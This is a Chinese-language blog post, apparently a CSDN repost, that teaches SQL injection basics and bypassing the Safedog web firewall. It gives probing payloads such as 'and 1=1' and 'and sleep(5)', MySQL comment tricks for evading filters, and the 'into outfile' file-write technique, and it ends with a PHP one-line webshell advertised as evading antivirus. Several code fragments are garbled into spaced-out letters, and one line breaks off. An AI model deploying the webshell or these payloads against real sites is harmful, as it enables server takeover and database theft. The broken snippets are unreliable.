SQL注入原理及绕过安全狗

1.什么是SQL注入攻击

  SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令

http://www.xxx.com/list.php?id=1
http://www.xxx.com/list.php?id=1 and user()>0 --
  • [ ] 哪里存在sql注入
    GET,POST,HTTP头部注入,Cookie注入,任何客户端可控,传递到服务器的变量
  • [ ]漏洞原理
    1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句

      $sql = "select * from article where id = ".$_GET[1];//使用字符串拼接
    2. 未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。

      $sql = "select * from article where id = $_GET[1]";//传递参数未过滤

2.SQL注入的危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中的内容(脱库)。
  • 在特别情况下还可以修改数据库内容或者插入内容到数据库,(多语句联合查询注入)
  • 如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。(root权限或者sa权限等等)

3.SQL注入的分类

  • 根据数据类型
    i d = _GET[‘id’];
    • 整型注入 s q l =" s e l e c t f r o m a r t i c l e w h e r e i d = id”
    • 字符型注入 s q l =" s e l e c t f r o m a r t i c l e w h e r e i d = id’”
  • 根据注入语法
    • UNION query SQL injection(可联合的查询注入)
    • Stacked queries SQL injection(可多语句查询注入)
    • Error-based SQLinjection(报错型注入)
    • Boolean-based blind SQL injection(布尔型注入)
    • Time-based blind SQL injection(基于时间延迟注入)

4.SQL注入的挖掘(编写注入环境代码验证)

  • and 1=1 / and 1=2 根据回显页面不同(整形判断)
  • 单引号判断(‘)显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
  • (转义符)(适合于字符型注入)
  • -1/+1回显下一个或者上一个页面(整形判断)
  • and sleep(5)(判断页面返回时间)

  • [ ] mysql中四种注释风格

  • #


  • //

  • /!…/ 内联注释/!50000select /(mysql版本大于50000执行)

  • [ ] mysql中一些函数

  • system_user()系统用户名
  • user()用户名
  • current_user()当前用户名
  • session_user()连接数据库的用户名
  • database() 数据库名
  • version()MySql数据库版本
  • load_file()MySql读取本地文件的函数
  • @@datadir 读取数据库路径
  • @@basedir MySql安装路径
  • @@version_compile_os 操作系统Windows Server 2003

  • [ ] mysql漏洞利用函数:into outfile()

  • into_outfile()写文件操作
    前提:
    • 文件名必须全路径(绝对路径),
    • 用户必须有写文件的权限
    • 没有对’单引号过滤
  • SELLECT’

一句话免杀木马

<?php function dog(){return $_POST[1];}eval(dog());?>

猜你喜欢

转载自blog.csdn.net/whatiwhere/article/details/80045012